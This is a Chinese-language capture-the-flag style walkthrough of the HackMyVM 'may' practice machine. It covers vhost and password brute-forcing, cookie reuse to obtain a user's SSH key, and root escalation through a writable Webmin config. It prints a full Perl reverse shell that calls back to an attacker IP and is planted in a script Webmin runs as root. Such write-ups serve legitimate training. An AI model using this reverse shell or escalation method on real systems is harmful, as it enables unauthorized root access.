当前位置:网站首页>hackmyvm: may walkthrough
hackmyvm: may walkthrough
2022-08-02 03:25:00 【xdeclearn】
hackmyvm: may walkthrough
信息收集

访问80,会跳转到域名may.hmv访问,这里需添加hosts访问。
得到了一个用户明marie。
爆破目录未果,于是爆破vhost。
找到两个vhost,portal和ssh。添加hosts后访问portal.may.hmv。这个一个登录页面,会验证用户名和密码,尝试注入失败后,利用前面得到的用户名尝试爆破密码。
得到密码rebelde并成功获取到了cookie,将这个cookie注入到http://ssh.may.hmv/check.php的请求中去,成功获取marie用户的私钥。
获取user flag
将私钥保存,并设置为只可当前用户读写,ssh登录marie。

获取root flag
查看root用户进程,发现了如下进程。
查看miniserv.conf文件权限,发现marie可以直接编辑,于是在home目录下创建一个failed.pl替换掉默认的。


在failed.pl中加入了反弹shell代码。
[email protected]:~$ cat failed.pl
#!/usr/bin/perl
use Socket;$i="192.168.143.135";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
open(CONF, "</etc/webmin/miniserv.conf") || die "Failed to open /etc/webmin/miniserv.conf : $!";
while(<CONF>) {
$root = $1 if (/^root=(.*)/);
}
close(CONF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{
'PERLLIB'} = "$root";
$ENV{
'WEBMIN_CONFIG'} = "/etc/webmin";
$ENV{
'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{
'MINISERV_CONFIG'});
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";
利用sudo重启虚拟机(marie可以无密码执行sudo reboot)。重启后随便webmin登录一个错误账号就可以反弹root。
边栏推荐
- 使用PHPMailer发送邮件
- (8) requests, os, sys, re, _thread
- 解决uni-app 打包H5网站 下载图片问题
- 每日五道面试题总结 22/7/21
- Function hoisting and variable hoisting
- Small program van-cell line wrapping can be left-aligned
- [mikehaertl/php-shellcommand] A library for invoking external command operations
- JS objects, functions and scopes
- 13. JS output content and syntax
- [campo/random-user-agent] Randomly fake your User-Agent
猜你喜欢
随机推荐
PHP8.2中字符串变量解析的新用法
解决5+APP真机测试无法访问后台(同局域网)
Baidu positioning js API
DVWA靶机安装教程
16. JS events, string and operator
PHP图片压缩到指定的大小
(6) 学生信息管理系统设计
js 之 Object.defineProperty()
13. JS output content and syntax
QR code generation API interface, which can be directly connected as an A tag
PHP的几个有趣的打开方式:从基本到变态
[league/flysystem] An elegant and highly supported file operation interface
v-on基本使用、参数传递、修饰词
js 原型和原型链
3.PHP数据类型、常量、字符串和运算符
SQL:DDL、DML、DQL、DCL相应介绍以及演示
(3)Thinkphp6数据库
SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
(4) 函数、Bug、类与对象、封装、继承、多态、拷贝









